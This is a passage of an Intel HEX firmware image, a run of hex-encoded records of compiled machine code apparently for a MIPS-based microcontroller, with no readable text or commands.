:106a000000000000010002243c8182a3b4da400ba4
:106a1000000000003c8180a3b4da400b00000000bd
:106a200088bf033ce060629401000424444a827cf5
:106a3000e06062a401000424e4d8400f00000000dc
:106a400088bf033ce0606294444a027ce06062a438
:106a50003c8180a3ff1f02241000c2a73800c22778
:106a600021204000010005242130000031d5400fd5
:106a7000000000003800c38f3c00c28f1c00c3af71
:106a80002000c2af1000c297ffff42241000c2a72f
:106a90001c00c29304004010000000001000c297c8
:106aa000eeff4014000000001000c29708004014e0
:106ab0000000000002000224508082a388bf033c33
:106ac000e060629401000424444a827ce06062a495
:106ad00088bf033ce060629401000424444a827c45
:106ae000e06062a43e00042439d9400f0000000099
:106af00088bf033ce0606294444a027ce06062a488
:106b0000140002241000c2a73800c2272120400030
:106b1000030005242130000031d5400f00000000a3
:106b20003800c38f3c00c28f1c00c3af2000c2af2f
:106b30001000c297ffff42241000c2a71c00c2939e
:106b400004004010000000001000c297eeff401447
:106b5000000000001000c2970b004014000000006d
:106b600002000224508082a388bf033ce06062944c
:106b700001000424444a827ce06062a450808227a1
:106b80005edb400b000000001300c0a31200c0a396
:106b9000fbda400b000000001300d09323d9400f14
:106ba00000000000211840001000c22721105000f2
:106bb000140043a01300c293010042241300c2a397
:106bc0001200c29306004014000000002400c3938a
:106bd000fe00022402006214000000001300c0a3a3
:106be0001200c293010042241200c2a31200c293f9
:106bf0001400422ce8ff40140000000000020224b0
:106c00003e8182a700020224528082a75180829393
:106c1000010003240400627c518082a32400c293fb
:106c2000c000423011004010000000002b00c29351
:106c30003f004230001c02002c00c29300120200f0
:106c4000251862002d00c293251062001400c2af07
:106c50001400c28f0100422480120200ffff422470
:106c6000388182af4bdb400b000000002a00c2934a
:106c7000001c02002b00c2930012020025186200c3
:106c80002c00c293251062001400c2af1400c38f01
:106c90000300023cc0ff4234241062001400c2af63
:106ca0001400c28f821102001400c2af2d00c293e3
:106cb00003004230ff00423040100200ff0043302a
:106cc0002e00c293c2110200ff0042302510620064
:106cd0001800c2a32900c2930f0042301900c2a3ba
:106ce0001900c293f7ff422401000324041043005b
:106cf0001900c2a31400c28f010043241800c293dc
:106d0000020042240100042404104400ffff42302a
:106d1000180062001900c2931218000018006200e7
:106d200012180000ffff6224388182af3800c227aa
:106d300021204000110005242130000031d5400ff2
:106d4000000000003e8182973800c32721206000a8
:106d5000070005242130400031d5400f000000001d
:106d600088bf033ce060629401000424444a827cb2
:106d7000e06062a45080822721e8c0034c00bf8fee
:106d80004800be8f4400b08f5000bd270800e003cc
:106d900000000000e8ffbd271400bfaf1000beaf29
:106da00021f0a0031800c4af1800c48f1fff400fcc
:106db0000000000021e8c0031400bf8f1000be8f48
:106dc0001800bd270800e00300000000c0ffbd2739
:106dd0003c00bfaf3800beaf21f0a0034000c4affd
:106de0004400c5af1000c227212040004400c58fd9
:106df000e1db400f0000000009004010000000002f
:106e00004000c48f1000c22721284000280006241b
:106e100047b9400f0000000089db400b0000000074
:106e20002110000021e8c0033c00bf8f3800be8f56
:106e30004000bd270800e00300000000e8ffbd2778
:106e40001400bfaf1000beaf21f0a0031800c4af04
:106e50001c00c5af1800c48f1c00c58fa9db400ff4
:106e60000000000008004010000000001800c48f5f
:106e70001800c58f4000062447b9400f00000000ed
:106e8000a3db400b000000002110000021e8c0033c
:106e90001400bf8f1000be8f1800bd270800e0034c
:106ea00000000000a8ffbd275400bfaf5000beafd8
:106eb0004c00b0af21f0a0035800c4af5c00c5afd8
:106ec0005c00c48f7b4b410f000000000b00422c84
:106ed000040040140000000021100000dadb400b29
:106ee000000000001000c2272120400030000524cf
:106ef0000a0006247152410f000000005c00c48f9c
:106f00007b4b410f000000000a00032423106200a5
:106f10001000c327218062005c00c48f7b4b410faf
:106f200000000000212000025c00c58f21304000dd
:106f3000214b410f000000001c00c227212040000f
:106f40001000c22721284000cbb8400f00000000ed
:106f50001c00c2275800c48f212840008bdc400f42
:106f6000000000000100022421e8c0035400bf8f8c
:106f70005000be8f4c00b08f5800bd270800e003c2
:106f800000000000e0ffbd271c00bfaf1800beaf2f
:106f900021f0a0032000c4af2400c5af1400c0a39b
:106fa0001500c0a31600c0a31700c0a300a0023c98
:106fb000dc1c44242400c58fcbb8400f0000000027
:106fc00004004014000000002110000085dc400b8c
:106fd000000000001000c0a306dc400b0000000011
:106fe0001000c39300a0023cdc1c4224211062006c
:106ff0000000439001000224040062100000000021
:107000002110000085dc400b000000001000c2933e
:10701000010042241000c2a31000c2930900422cb8
:10702000efff4014000000001000c0a338dc400b4c
:10703000000000001000c293801002002000c38fe7
:10704000212062001000c393211060008010020014
:10705000211043000900432400a0023cdc1c422410
:10706000211062002128400004000624214b410f1a
:10707000000000001000c293801002002000c38fa7
:107080002110620021204000212800000400062475
:10709000e3bc400f00000000212040001000c3931b
:1070a0002110600080100200211043000d004324d5
:1070b00000a0023cdc1c422421106200000042902f
:1070c00004008210000000002110000085dc400b4d
:1070d000000000001000c293010042241000c2a36f
:1070e0001000c2930a00422cd2ff4014000000009e
:1070f0001000c0a35ddc400b000000001100c0a325
:1071000056dc400b000000001100c2931100c39335
:107110001000c42721188300040064901000c3935a
:10712000802803001100c3932118a3002000c58ffd
:107130002118a3000000639021188300ff00633032
:107140001000c42721108200040043a01100c29344
:10715000010042241100c2a31100c2930400422c7a
:10716000e9ff4014000000001000c2930100422417
:107170001000c2a31000c2930a00422cdfff40148b
:10718000000000001000c0a378dc400b00000000ed
:107190001000c2931000c327211062000400429027
:1071a00001004230ff0043301000c2933b004424f2
:1071b00000a0023cdc1c422421108200000042900e
:1071c00004006210000000002110000085dc400b6c
:1071d000000000001000c293010042241000c2a36e
:1071e0001000c2930400422ce9ff4014000000008c
:1071f00000a0023cdc1c42243f00429004004010ee
:10720000000000002110000085dc400b00000000a1
:107210000100022421e8c0031c00bf8f1800be8fac
:107220002000bd270800e00300000000e0ffbd27ac
:107230001c00bfaf1800beaf21f0a0032000c4aff8
:107240002400c5af1400c0a31500c0a31600c0a33e
:107250001700c0a32000c48f0100052409000624e4
:107260007152410f000000002000c28f090042242b
:107270002000c2af1000c0a3d2dc400b0000000011
:107280001200c0a31200c2931100c2a3c3dc400bc2
:10729000000000002400c28f000043902000c28f35
:1072a000000043a02400c28f000043901200c2934c
:1072b000211062001200c2a31100c2931100c393f7
:1072c0001000c42721188300040064902400c38f99
:1072d0000000639021188300ff0063301000c42772
:1072e00021108200040043a01100c2930100422437
:1072f0001100c2a32400c28f010042242400c2afa7
:107300002000c28f010042242000c2af1100c293ae
:107310000400422cdfff4014000000001200c29362
:1073200001004230ff0043302000c28f000043a024
:107330001000c293010042241000c2a32000c28f9b
:10734000010042242000c2af1000c2930a00422c68
:10735000cbff4014000000001000c0a3e7dc400b8e
:10736000000000001000c2931000c327211062002b
:107370000400429001004230ff0043302000c28fe1
:10738000000043a01000c293010042241000c2a3d9
:107390002000c28f010042242000c2af1000c2931f
:1073a0000400422cefff4014000000002000c28fb8
:1073b000000040a021e8c0031c00bf8f1800be8f52
:1073c0002000bd270800e0030000000060ffbd278b
:1073d0009c00bfaf9800beaf21f0a003a000c4afd7
:1073e0002110a000a800c6afac00c7afa400c2a384
:1073f0002c00c22721204000a000c58f574a410f12
:1074000000000000a400c383ffff022421006210db
:1074100000000000a400c2836800c3272120600090
:10742000212840000400062430b6400f0000000070
:107430006800c22721204000040005248fbc400fb3
:10744000000000006c00c0a36d00c0a36800c2274c
:10745000212040002128000006000624e3bc400f44
:10746000000000006e00c2a3a000c48f7b4b410f40
:10747000000000002c00c327211862006800c2270a
:107480002120600021284000070006248eba400f0a
:1074900000000000a800c28f230040100000000080
:1074a0006800c22721204000ac00c58fcbb8400f38
:1074b000000000006800c2272120400020000524b1
:1074c0008fbc400f000000002c00c227212040008c
:1074d0007b4b410f000000002800c2a32800c2938c
:1074e0002c00c327211862006800c22721206000f9
:1074f00021284000bdde400f000000002800c2939c
:107500002c00c327211862002800c2932c00c42736
:107510002110820021206000212840002d00062437
:107520008eba400f0000000088bf023c2061428cf0
:1075300002004230200040100000000000a0023c89
:10754000dc5642249c00428c4218020000a0023cff
:10755000dc5642249c00428c030004242128600055
:107560002130400008000724b20b410f000000004a
:1075700000a0023cdc5642249c00438c00a0023c4c
:10758000dc564224f000428c1800620012200000f9
:107590009000c4afeb51023c1f8542349000c38f72
:1075a000190062001010000042110200212040006a
:1075b000240e410f000000002c00c22721204000b3
:1075c000d7dd400f00000000040040140000000060
:1075d00021100000d1dd400b00000000b000c28f80
:1075e0000500401000000000350002242800c2a35e
:1075f00080dd400b00000000080002242800c2a328
:10760000b800c28f150040100000000000a0023c2e
:10761000dc564224f800438cb800c28f2118620067
:1076200000a0023cdc5642249c00428c1800620000
:10763000122000009000c4afeb51023c1f85423481
:107640009000c38f19006200101000004211020068
:1076500021204000240e410f0000000000a0023c49
:10766000dc5642249c00448c00a0023cdc564224a0
:10767000a400458c2800c29300a0033cdc56632480
:10768000bc0063902138600000a0033cdc566324fa
:107690008c00668c2c00c32700a0083c9957082555
:1076a0001000a8af1400a7af1800a6af0100062471
:1076b0001c00a6af2000a0af2130600021384000a0
:1076c0008dff400f00000000211840002800c293e9
:1076d0001b006214000000002c00c2272120400083
:1076e000059d023c88064524080006240954410fe4
:1076f0000000000004004010000000002110000005
:10770000d1dd400b00000000b000c28f0900401026
:10771000000000002c00c22708004224b400c48fdf
:10772000212840001cdf400f00000000d1dd400b8d
:107730000000000001000224d1dd400b0000000029
:107740002110000021e8c0039c00bf8f9800be8f6d
:10775000a000bd270800e00300000000e8ffbd27ef
:107760001400bfaf1000beaf21f0a0031800c4afdb
:1077700001000424e30d410f00000000eedd400b8a
:107780000000000021200000e30d410f0000000078
:107790002118400000a0023cdc5642248c00428ca0
:1077a0002b104300040040100000000021100000d6
:1077b00041de400b0000000088bf023cd060428cdc
:1077c00000014230efff40140000000002de400bd9
:1077d0000000000021200000e30d410f0000000028
:1077e0002118400000a0023cdc5642248c00428c50
:1077f0002b10430004004010000000002110000086
:1078000041de400b0000000088bf023cd060428c8b
:1078100000014230efff40100000000000a0023cd9
:10782000dc564224e000428c212040000100052467
:10783000820c410f0000000000a0023cdc564224f4
:10784000e400428c21204000ac0c410f00000000fd
:1078500037de400b000000001800c28f000043908c
:1078600031000224090062140000000000a0023c64
:10787000dc564224e800428c21204000ac0c410f31
:107880000000000034de400b00000000040004246f
:10789000ac0c410f0000000000a0023cdc5642246a
:1078a000e400428cfcff422421204000010005241a
:1078b000820c410f0000000000a0023cdc56422474
:1078c000e400428c21204000ac0c410f000000007d
:1078d0001800c28f010042241800c2af1800c28fe6
:1078e00000004290dcff40140000000000a0023cb9
:1078f000dc564224f400428c21204000ac0c410fa5
:107900000000000021e8c0031400bf8f1000be8fec
:107910001800bd270800e00300000000e8ffbd27b5
:107920001400bfaf1000beaf21f0a0031800c4af19
:107930001800c48f01000524a3de400f00000000e2
:1079400021e8c0031400bf8f1000be8f1800bd27b0
:107950000800e00300000000d8ffbd272400bfafef
:107960002000beaf21f0a0031000a0af1400a0af14
:107970001800a0af059d023ce0064424ffff05244b
:1079800001000624059d023ce8064724f3dc400f75
:107990000000000021e8c0032400bf8f2000be8f3c
:1079a0002800bd270800e00300000000b0ffbd274d
:1079b0004c00bfaf4800beaf21f0a00321108000f3
:1079c0005400c5af5800c6af5000c2a35000c283d8
:1079d0001000a0af1400a0af3c0503241800a3af13
:1079e000059d033cf4066424212840000100062480
:1079f0005400c78ff3dc400f000000002000c2af2e
:107a00005800c28f0400401400000000010002244e
:107a10009dde400b000000005000c2932400c327ed
:107a20002120600021284000a3de400f000000005c
:107a30000400401400000000211000009dde400bf7
:107a4000000000002400c227212040005400c58f00
:107a5000080006240954410f0000000004004010f3
:107a600000000000211000009dde400b000000001f
:107a70000100022421e8c0034c00bf8f4800be8fe4
:107a80005000bd270800e00300000000d8ffbd271c
:107a90002400bfaf2000beaf21f0a0032800c4af78
:107aa0002110a0002c00c2a32c00c28301000324db
:107ab0001000a3af2800c38f1400a3af1800a0af1d
:107ac000059d033cfc066424212840002130000071
:107ad00021380000f3dc400f0000000021e8c00363
:107ae0002400bf8f2000be8f2800bd270800e003c0
:107af00000000000e8ffbd271400beaf21f0a00386
:107b00001800c4af1c00c5af0400c0a30500c0a38b
:107b10000600c0a30700c0a30800c0a30900c0a3bb
:107b20000a00c0a30b00c0a30000c0a3fdde400bf1
:107b3000000000000200c0a30200c2930100c2a323
:107b4000eede400b000000001c00c28f00004390de
:107b50001800c28f000043a01c00c28f0000439099
:107b60000200c293211062000200c2a30100c2936e
:107b70000100c3932118c303040064901c00c38f49
:107b80000000639021188300ff0063302110c203be
:107b9000040043a00100c293010042240100c2a3db
:107ba0001c00c28f010042241c00c2af1800c28f0b
:107bb000010042241800c2af0100c2930800422c09
:107bc000e1ff4014000000000200c29301004230b7
:107bd000ff0043301800c28f000043a00000c29392
:107be000010042240000c2a31800c28f01004224f9
:107bf0001800c2af0000c2930400422ccdff401415
:107c0000000000000000c0a311df400b00000000d6
:107c10000000c2932110c2030400429001004230d0
:107c2000ff0043301800c28f000043a00000c29341
:107c3000010042240000c2a31800c28f01004224a8
:107c40001800c2af0000c2930800422cf0ff40149d
:107c5000000000001800c28f000040a021e8c0030f
:107c60001400be8f1800bd270800e00300000000cc
:107c7000b8ffbd274400bfaf4000beaf21f0a00356
:107c80004800c4af4c00c5af1400c0a31500c0a38a
:107c90001600c0a31700c0a31800c0a31900c0a3fa
:107ca0001a00c0a31b00c0a31000c0a355df400be7
:107cb000000000001000c293c01002001c00c32787
:107cc000212062001000c39321106000c010020048
:107cd000211043004c00c38f211062002128400076
:107ce00008000624214b410f000000001000c29341
:107cf000c01002001c00c327211062002120400098
:107d00002128000008000624e3bc400f000000000a
:107d1000212040001000c39321106000c010020019
:107d200021104300080042244c00c38f2110620040
:107d300000004290040082100000000021100000aa
:107d4000acdf400b000000001000c2930100422491
:107d50001000c2a31000c2930400422cd5ff4014af
:107d6000000000001000c0a37adf400b00000000fc
:107d70001100c0a373df400b000000001100c2938c
:107d80001100c3931000c4272118830004006490dd
:107d90001000c393c02803001100c3932118a3004f
:107da0001000c5272118a3000c0063902118830040
:107db000ff0063301000c42721108200040043a09c
:107dc0001100c293010042241100c2a31100c2930a
:107dd0000800422ce9ff4014000000001000c2938c
:107de000010042241000c2a31000c2930400422ce0
:107df000dfff4014000000001000c0a394df400b20
:107e0000000000001000c2931000c3272110620080
:107e10000400429001004230ff0043301000c29342
:107e2000240042244c00c48f2110820000004290a4
:107e3000040062100000000021100000acdf400bc5
:107e4000000000001000c293010042241000c2a3f1
:107e50001000c2930800422ceaff4014000000000a
:107e60004c00c28f2c0042240000429004004010bd
:107e70000000000021100000acdf400b00000000fb
:107e80001c00c22721204000200005248fbc400f89
:107e9000000000001c00c2274800c48f21284000b9
:107ea0002000062447b9400f000000000100022412
:107eb00021e8c0034400bf8f4000be8f4800bd27ab
:107ec0000800e00300000000e0ffbd271c00bfaf7a
:107ed0001800beaf21f0a0032000c4af2400c5af3e
:107ee0002400c48f8db7400f000000001000c2af07
:107ef000059d023c04074424059d023c08074524d7
:107f00000413410f000000002400c28f00004280d3
:107f10004d00401000000000059d023c2407442451
:107f20002400c58f0413410f000000001000c38f10
:107f30000700023c00fe423424106200421202009c
:107f4000059d033c30076424212840006913410f3c
:107f5000000000001000c28f600042304211020099
:107f6000059d033c54076424212840006913410ff8
:107f7000000000001000c28f600042304219020071
:107f800000a0023c801803006872422421106200a5
:107f90000000428c059d033c7407642421284000a6
:107fa0000413410f000000001000c28f1e00423079
:107fb00042100200059d033c7c07642421284000f8
:107fc0006913410f000000001000c28f1e004230f4
:107fd000421802000800022407006214000000009a
:107fe000059d023c9c0744240413410f000000003f
:107ff00010e0400b000000001000c28f1e00423055
:108000004218020009000224070062140000000068
:10801000059d023ca80744240413410f0000000002
:1080200010e0400b00000000059d023cb407442412
:108030000413410f0000000018e0400b0000000096
:1080400018e0400b00000000059d023cc0074424de
:10805000059d023cc80745240413410f00000000a1
:10806000059d023cd4074424059d023cf8074524a5
:108070000413410f000000002000c48f8db7400f93
:10808000000000001000c2af059d023c040844241b
:108090002000c58f0413410f000000001000c38fa3
:1080a0000004023c24106200821602000500401009
:1080b00000000000059d023c2808422433e0400bec
:1080c00000000000059d023c30084224059d033c51
:1080d00038086424212840000413410f00000000e8
:1080e0001000c38f0001023c24106200021602003f
:1080f0000500401000000000059d023c28084224b5
:1081000044e0400b00000000059d023c3008422482
:10811000059d033c58086424212840000413410fa6
:10812000000000001000c38f8000023c2410620099
:10813000c21502000500401000000000059d023c31
:108140002808422455e0400b00000000059d023c39
:1081500030084224059d033c78086424212840000f
:108160000413410f000000001000c38f1000023cf8
:1081700024106200021502000500401000000000fb
:10818000059d023c2808422466e0400b00000000e8
:10819000059d023c30084224059d033c9808642458
:1081a000212840000413410f000000001000c38f7d
:1081b0000400023c241062008214020005004010fa
:1081c00000000000059d023c2808422477e0400b97
:1081d00000000000059d023c30084224059d033c40
:1081e000b8086424212840000413410f0000000057
:1081f0001000c38f0300023c00c042342410620010
:1082000082130200059d033cd80864242128400005
:108210006913410f000000001000c28f003042308f
:1082200002130200059d033cf80864242128400045
:108230000413410f000000001000c28f00304230d4
:10824000021b020000a0023c801803005872422466
:10825000211062000000428c059d033c74076424d9
:10826000212840000413410f000000001000c28fbd
:10827000c003423082110200059d033c18096424aa
:10828000212840000413410f000000001000c28f9d
:10829000c003423082190200010002240900621466
:1082a00000000000059d023c74074424059d023c2b
:1082b000380945240413410f00000000c5e0400bbd
:1082c000000000001000c28fc0034230821902007b
:1082d000020002240900621400000000059d023c17
:1082e00074074424059d023c440945240413410fae
:1082f00000000000c5e0400b00000000059d023cae
:1083000074074424059d023cc00645240413410f14
:10831000000000001000c28f3f004230059d033c6a
:108320004c096424212840006913410f000000001b
:108330001000c28f3f004230010042244010020072
:10834000059d033c6c096424212840006913410ffa
:10835000000000000100022421e8c0031c00bf8fc0
:108360001800be8f2000bd270800e00300000000b9
:10837000e0ffbd271c00bfaf1800beaf21f0a00377
:108380002000c4af2000c48f8db7400f0000000054
:108390001000c2af00a0023cdc564224a400428c74
:1083a0000800422c190040140000000000a0023c0c
:1083b000dc564224a400428c4100422c13004010a1
:1083c000000000001000c38fc0ff022424186200c8
:1083d00000a0023cdc564224a400428cfeff422452
:1083e000421002003f004230251062001000c2af70
:1083f00000a0023cdc564224cc00428c0600401413
:108400000000000013e1400b0000000021100000fc
:1084100048e1400b0000000000a0023cdc56422472
:10842000a000439001000224080062140000000034
:108430001000c38f3ffc022424106200400042342d
:108440001000c2af28e1400b0000000000a0023c79
:10845000dc564224c400428c0e0040100000000094
:1084600000a0023cdc564224a000439001000224fc
:1084700008006214000000001000c38f3ffc0224bb
:1084800024106200800042341000c2af28e1400b8b
:10849000000000002110000048e1400b0000000037
:1084a00000a0023cdc564224b000428c4211020083
:1084b000050042240f00422c04004014000000007c
:1084c0002110000048e1400b000000001000c38fa5
:1084d000fcff023cff3f42342418620000a0023c33
:1084e000dc564224b000428c4211020004004224b7
:1084f0000f004230802302000300023c00c04234df
:1085000024108200251062001000c2af2000c48f2a
:108510001000c58f90b6400f00000000010002243b
:1085200021e8c0031c00bf8f1800be8f2000bd27ac
:108530000800e00300000000e8ffbd271400bfaf03
:108540001000beaf21f0a0031800c4af2110a0009e
:108550001c00c2a31c00c2931600432c44006010f0
:108560000000000080180200049d023c8085422427
:10857000211062000000428c080040000000000052
:108580007086039dd885039d7086039d7086039d2c
:108590007086039d7086039d7086039d7086039d83
:1085a0007086039d0486039d0486039d7086039d4b
:1085b0007086039d7086039d0486039d4c86039df3
:1085c0007086039d7086039d2886039d7086039d9b
:1085d0007086039d0486039d1800c48f059d023c90
:1085e0007409452408000624214b410f00000000b7
:1085f0001800c48fdce0400f000000009de1400b3c
:10860000000000001800c48f059d023c800945242d
:1086100008000624214b410f000000000100022445
:108620009de1400b000000001800c48f059d023c36
:108630007409452408000624214b410f0000000066
:10864000010002249de1400b000000001800c48fcf
:10865000059d023c8c09452408000624214b410f4e
:1086600000000000010002249de1400b000000001a
:108670002110000021e8c0031400bf8f1000be8f3e
:108680001800bd270800e00300000000b0ffbd2770
:108690004c00bfaf4800beaf21f0a0035000c4aff4
:1086a0005400c5af2000c2272120400047de400f04
:1086b0000000000004004014000000002110000031
:1086c000cfe1400b000000005400c28f0000428048
:1086d0000400401400000000059d023c980942245b
:1086e0005400c2af1000a0af1400a0af1800a0af9c
:1086f000059d023ca4094424ffff05240100062433
:108700005400c78ff3dc400f000000000a00401047
:10871000000000005000c28f4f000324000043a05f
:108720004b000324010043a0020040a001000224ea
:10873000cfe1400b000000002110000021e8c00341
:108740004c00bf8f4800be8f5000bd270800e003db
:1087500000000000c0ffbd273c00bfaf3800beaf27
:1087600021f0a0034000c4af4400c5af2118c000f1
:108770004c00c7af5400c28f4800c3a33000c2a34f
:108780004800c29300a0033cdc5663249c00688c24
:1087900000a0033cdc566324e000638c300004241a
:1087a0002338830000a0033cdc566324e400668c7d
:1087b00000a0033cdc566324e800658c00a0033c69
:1087c000dc566324e000648c00a0033cdc56632488
:1087d000f400638c040009241000a9af1400a8afb2
:1087e0001800a7af1c00a0af2000a6af2400a5afc3
:1087f0002800a4af2c00a3af4400c48f2128400060
:108800004c00c68f01000724023c410f000000000d
:1088100004004014000000002110000062e2400b40
:10882000000000003000c29304004014000000006b
:108830000100022462e2400b000000000100042459
:10884000e30d410f0000000021e2400b000000009a
:1088500021200000e30d410f00000000211840001e
:1088600000a0023cdc5642248c00428c2b104300ba
:1088700004004010000000002110000062e2400be4
:108880000000000088bf023cd060428c00014230f2
:10889000efff4014000000000a000224408282a37f
:1088a00000a0023cdc5642249c00448c00a0023c08
:1088b000dc564224a400458c3000c3935000c28f84
:1088c000060040100000000000a0023cdc564224dc
:1088d000bc00429038e2400b000000002110000074
:1088e00000a0063cdc56c6248c00c68c00a0073cc9
:1088f0009957e7241000a7af1400a2af1800a6af45
:10890000010002241c00a2af010002242000a2af3b
:108910004000c68f213860008dff400f000000002e
:10892000211840003000c2931600621400000000bd
:1089300000a0023cdc5642249c00438c00a0023c78
:10894000dc564224f800428c18006200122000001d
:108950003400c4afeb51023c1f8542343400c38f56
:108960001900620010100000421102002120400096
:10897000240e410f000000000100022462e2400bbf
:10898000000000002110000021e8c0033c00bf8f60
:108990003800be8f4000bd270800e0030000000043
:1089a000b0ffbd274c00bfaf4800beaf21f0a00311
:1089b0005000c4afc40c410f0000000000a0023cf6
:1089c000dc5642249c00438c00a0023cdc5642242e
:1089d000ec00428c18006200122000004000c4af7e
:1089e000eb51023c1f8542344000c38f19006200e6
:1089f000101000004211020021204000240e410fff
:108a00000000000000a0023cdc5642249c00438c85
:108a100000a0023cdc564224f000428c18006200a8
:108a2000122000004000c4afeb51023c1f854234cd
:108a30004000c38f190062001010000042110200b4
:108a400021204000240e410f0000000001000224fc
:108a50001000a2af400002241400a2af1800c227e9
:108a600021204000059d023cf4f945240200062423
:108a700021380000d5e1400f00000000090040103f
:108a8000000000005000c48f1800c22721284000b9
:108a9000574a410f0000000001000224aae2400be7
:108aa000000000002110000021e8c0034c00bf8f2f
:108ab0004800be8f5000bd270800e0030000000002
:108ac000b0ffbd274c00bfaf4800beaf21f0a003f0
:108ad0005000c4af2110a0005400c2a31900c0a3cd
:108ae0005400c2930800422c04004014000000000f
:108af000211000000fe3400b000000001c00c22703
:108b00002120400021280000270006247152410f37
:108b1000000000001c00c22721204000059d023cef
:108b2000f8f9452402000624214b410f0000000003
:108b30009880828f14004010000000003100022451
:108b40001e00c2a31c00c2270300422421204000b3
:108b500000a0023cf06a45242ab9400f0000000042
:108b60005400c2931c00c32722006324212060000c
:108b70002128400003000624c6b6400f0000000074
:108b8000ece2400b00000000300002241e00c2a3f3
:108b90005400c2931c00c3270300632421206000fb
:108ba0002128400003000624c6b6400f0000000044
:108bb00000a0023cdc564224d400428c1800c2a320
:108bc00009e3400b000000001c00c22721204000e8
:108bd0007b4b410f00000000ff0042302118400095
:108be0001900c2931c00c5271000a0af2000042468
:108bf0001400a4af5000c48f213060002138400021
:108c0000d5e1400f0000000004004010000000000b
:108c1000010002240fe3400b0000000001000224c9
:108c20001900c2a31800c293ffff43241800c3a376
:108c3000e5ff4014000000002110000021e8c003ff
:108c40004c00bf8f4800be8f5000bd270800e003d6
:108c50000000000088ffbd277400bfaf7000beafea
:108c600021f0a003211080007c00c5af8000c6afba
:108c70008400c7af7800c2a37800c2930800422cda
:108c8000040040140000000021100000a6e3400b87
:108c9000000000001c00c227212040002128000005
:108ca000470006247152410f000000001c00c2273b
:108cb00021204000059d023cf8f9452402000624cd
:108cc000214b410f00000000020002241800c2a343
:108cd0009880828f0c004010000000001800c293a2
:108ce0001c00c327211062002120400000a0023c8c
:108cf000f06a45242ab9400f000000001800c29312
:108d0000200042241800c2a31800c2931c00c327ed
:108d100021106200212040008000c58f0100062440
:108d2000c6b6400f000000001800c29301004224a4
:108d30001800c2a31800c2931c00c32721106200b0
:108d4000212040007c00c58f2ab9400f00000000a0
:108d50001800c293200042241800c2a31800c29336
:108d60001c00c327211862007800c29321206000f4
:108d70002128400003000624c6b6400f0000000072
:108d80001800c293030042241800c2a31c00c2278b
:108d9000212040007b4b410f00000000ff004230cb
:108da0001c00c3271000a0af1400a0af21200000ba
:108db000212860002130400021380000d5e1400f1b
:108dc000000000000400401400000000211000001a
:108dd000a6e3400b0000000000a0023cdc56422449
:108de000f400428ce803432400a0023cdc564224f9
:108df0009c00428c18006200122000006800c4af82
:108e0000eb51023c1f8542346800c38f1900620099
:108e1000101000004211020021204000240e410fda
:108e2000000000008400c28f040040140000000015
:108e300001000224a6e3400b000000007800c2936a
:108e40001c00c3272120600021284000b0e2400f11
:108e50000000000004004014000000002110000089
:108e6000a6e3400b000000001c00c22721204000a8
:108e70007c00c58f080006240954410f0000000043
:108e8000040040100000000021100000a6e3400b89
:108e9000000000000100022421e8c0037400bf8f1d
:108ea0007000be8f7800bd270800e00300000000be
:108eb00098ffbd276400bfaf6000beaf21f0a003e4
:108ec0006800c4af1400c0af300002241100c2a378
:108ed00002e4400b00000000100002241200c2a3b4
:108ee000fbe3400b00000000080002241000c2a3b6
:108ef000f4e3400b000000002b15410f00000000c0
:108f000004004010000000001400c28f0de4400b6c
:108f1000000000001000c39300a0023cdc56422475
:108f2000e00043ac1100c39300a0023cdc56422495
:108f3000e80043ac1200c39300a0023cdc5642247c
:108f4000e40043ac1800c22721204000c62c410f8a
:108f5000000000001b004010000000001000c29341
:108f6000059d033cfcf96424212840006913410f4e
:108f7000000000001100c293059d033c08fa642420
:108f8000212840006913410f000000001200c29325
:108f9000059d033c14fa6424212840006913410f05
:108fa000000000001800c227059d033c20fa64243d
:108fb000212840000413410f00000000010002249a
:108fc0001400c2af1000c293010042241000c2a3db
:108fd0001000c2931f00422cc7ff40140000000085
:108fe0001200c293010042241200c2a31200c293d5
:108ff0002000422cbcff4014000000001100c2936e
:10900000010042241100c2a31100c2934000422c6f
:10901000b1ff401400000000059d023c2cfa4424de
:10902000059d023c30fa45240413410f0000000066
:109030001400c28f21e8c0036400bf8f6000be8fa0
:109040006800bd270800e00300000000e0ffbd2726
:109050001c00bfaf1800beaf21f0a0032000c4afba
:109060002400c5af2000c48f8db7400f0000000062
:109070001000c2af059d023c34fa44242000c58f85
:109080000413410f000000001000c28f02170200fd
:10909000059d033c54fa6424212840006913410fc4
:1090a000000000001000c28f021f02000600022410
:1090b0000900621400000000059d023c70fa44247f
:1090c000059d023c78fa45240413410f000000007e
:1090d00049e4400b000000001000c28f021f020094
:1090e000090002240900621400000000059d023cf2
:1090f00070fa4424059d023c8cfa45240413410f68
:109100000000000049e4400b00000000059d023c07
:1091100070fa4424059d023c9cfa45240413410f37
:10912000000000001000c38f0200023c2410620007
:10913000421402001400c2af1400c28f0500401098
:1091400000000000059d023cacfa422457e4400bad
:1091500000000000059d023cb4fa4224059d033c3a
:10916000bcfa6424212840000413410f00000000d1
:109170001400c28f70004010000000001000c38f68
:10918000fc00023c2410620082140200059d033c96
:10919000d8fa6424212840006913410f0000000020
:1091a0001000c38ffc00023c2410620082140200f5
:1091b0000100422440100200059d033cf4fa64249f
:1091c000212840006913410f000000001000c38fe8
:1091d0000100023c00f0423424106200021302003d
:1091e000059d033c00fb6424212840006913410fc6
:1091f000000000001000c38f0100023c00f0423468
:1092000024106200021302000900422c29004014bd
:10921000000000001000c38f0100023c00f0423447
:1092200024106200021b02001000022409006214d4
:1092300000000000059d023c70fa4424059d023c9c
:109240001cfb45240413410f00000000bce4400b4c
:10925000000000001000c38f0100023c00f0423407
:1092600024106200021b020018000224090062148c
:1092700000000000059d023c70fa4424059d023c5c
:109280002cfb45240413410f00000000bce4400bfc
:1092900000000000059d023c70fa4424059d023c3c
:1092a0003cfb45240413410f00000000bce4400bcc
:1092b000000000001000c38f0100023c00f04234a7
:1092c00024106200021b020000a0023c8018030070
:1092d00034724224211062000000428c059d033c40
:1092e00070fa6424212840000413410f000000009c
:1092f0001000c28f08004230c2100200050040106a
:1093000000000000059d023cacfa4224c7e4400b7b
:1093100000000000059d023cb4fa4224059d033c78
:1093200044fb6424212840000413410f0000000086
:109330002de5400b000000001000c38f1c00023c14
:109340002410620082140200059d033cd8fa6424b4
:10935000212840006913410f000000001000c38f56
:109360001c00023c24106200821c0200059d023c8d
:10937000ecf942242110620000004290059d033c5c
:10938000f4fa6424212840006913410f0000000012
:109390001000c38f0100023c00f042342410620030
:1093a00002130200059d033c00fb642421284000b9
:1093b0006913410f000000001000c38f0100023c40
:1093c00000f0423424106200021302000900422c13
:1093d00019004014000000001000c38f0100023c7f
:1093e00000f0423424106200021b0200100002242c
